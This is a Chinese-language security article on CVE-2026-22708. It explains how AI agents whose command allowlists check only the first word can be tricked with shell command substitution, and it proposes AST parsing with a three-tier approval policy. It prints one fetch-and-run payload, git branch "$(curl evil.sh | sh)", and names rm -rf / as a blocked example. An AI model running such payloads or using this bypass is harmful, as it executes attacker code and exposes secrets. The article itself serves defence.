最近披露的一个漏洞 CVE-2026-22708 表明，依赖简单命令允许列表（allowlists）的 AI agent 可能会被诱导执行恶意代码。该漏洞允许攻击者将有效载荷（payload）隐藏在看似无害的命令中，从而为 agent 提供在宿主机上运行任意脚本的直接途径。

大多数用于自动化开发或运维的 AI 驱动助手，其工作原理是根据白名单检查命令的第一个单词。如果该单词匹配 git 或 npm 等条目，请求就会被直接通过。这种“前缀匹配”非常具有吸引力，因为它易于实现，且似乎能防止 agent 运行危险的实用程序。

在实践中，这种方法是一个安全漏洞。攻击者可以在允许的单词之后嵌入命令替换（command substitution）或其他 shell 特性，而白名单永远无法察觉。一个经典的例子是：

git branch "$(curl evil.sh | sh)"

允许列表仅看到了 git 并批准了该请求。随后，shell 会展开 $(curl evil.sh | sh)，下载脚本并以 agent 的权限运行它。同样的技巧也适用于任何接受 shell 解析参数的白名单二进制文件。

其影响非常严重，因为 AI agent 正越来越多地被委以处理特权环境的任务——包括持续集成（CI）流水线、云端托管的开发容器，甚至是用户工作站。如果 agent 被诱导执行有效载荷，攻击者就能获得与 agent 相同的访问权限，这通常包括密钥、部署凭据或不受限制的文件系统访问权限。

为什么简单的允许列表会失效

  • 是字符串匹配，而非策略 – 仅检查第一个 token 会忽略命令行结构。它没有考虑到参数是如何被解析的，或者参数是否包含 shell 元字符。
  • Shell 特性功能强大 – 命令替换、管道和重定向都在允许列表检查之后进行处理，从而将看似无害的命令转化为完整的漏洞利用。
  • 缺乏上下文感知 – 白名单无法区分安全的 git status 和可能覆盖生产历史记录的危险命令 git push --force。

更具韧性的模型

针对 CVE-2026-22708，社区的应对方案是从简单的字符串检查转向将命令解析为抽象语法树（AST）。AST 代表了命令的分层结构，将可执行文件与其参数以及任何 shell 结构分离。一旦命令被分解，策略引擎就可以根据三个不同的类别对其进行评估：

  • 安全 (SAFE) – 符合验证规则且不包含任何风险结构的命令。agent 会自动运行这些命令。示例：git status。
  • 拦截 (BLOCKED) – 匹配已知危险模式的命令，例如访问敏感文件、删除目录或调用特权脚本的命令。agent 会立即中止这些操作。示例：rm -rf /。
  • 不确定 (UNCERTAIN) – 无法明确归入安全或拦截类别的命令。agent 在继续执行前必须请求人类的明确批准。示例：git push --force。

“不确定”层级的引入改变了威胁模型。系统不再将每个无法识别的命令视为失败，而是将不确定性转化为一种受控的交互。强制执行审批步骤的一种实际方法是签发一个一次性使用的 HMAC 令牌，用户必须将其提交回 agent。由于该令牌在密码学上与请求绑定，agent 无法伪造授权。

平衡安全性与易用性

批评者可能会认为 AST 解析会增加延迟，或者三层模型可能会让用户淹没在审批提示中，从而降低生产力。这些担忧是有道理的：规则集配置不当可能会产生误报，而复杂的解析在计算上可能比简单的字符串检查更沉重。然而，另一种选择——允许任意代码执行——代价要高得多。将轻量级沙箱（sandboxing）与 AST 分析相结合的混合方法可以减轻性能影响，同时仍能执行强大的策略。

开发者与企业面临的风险

  • 数据机密性 – 被攻破的 agent 可以窃取 API 密钥、密码和专有代码。
  • 系统完整性 – 恶意命令可以篡改或删除生产制品、回滚发布版本或安装后门。
  • 合规风险 – 由不安全的自动化引起的违规行为可能会触发合规处罚，尤其是在数据处理规则严格的行业中。

忽视这些风险的项目通常要么通过过度限制的规则使智能体（agent）陷入瘫痪，要么使其容易受到攻击。折中方案——即定义明确的 SAFE（安全）、BLOCKED（拦截）和 UNCERTAIN（不确定）组——为兼顾安全性和实用性提供了一条切实可行的路径。

后续关注点

  • 工具 – 预计会出现一些开源库，为常见的 shell 和构建流水线提供基于 AST 的解析器，并附带现成的策略模板。
  • 标准 – 行业团体可能会针对典型的开发命令提出基准规则集，类似于容器运行时对 seccomp 配置文件的标准化。
  • 审计 – 安全团队可能会在他们的 CI/CD 审计流水线中增加“白名单合理性检查”，以标记任何仅依赖前缀匹配的智能体配置。

核心总结

如果你的 AI 智能体仍然仅通过查看命令的第一个单词来决定运行什么，那么它就面临着 CVE-2026-22708 中所展示的漏洞风险。请将这种方法替换为 AST 驱动的解析，并采用一种三层策略，对模糊的操作强制要求人工确认。这一额外的步骤可能会让人感觉增加了操作摩擦，但它能将盲点转化为可验证的控制点，从而保护你的代码和基础设施。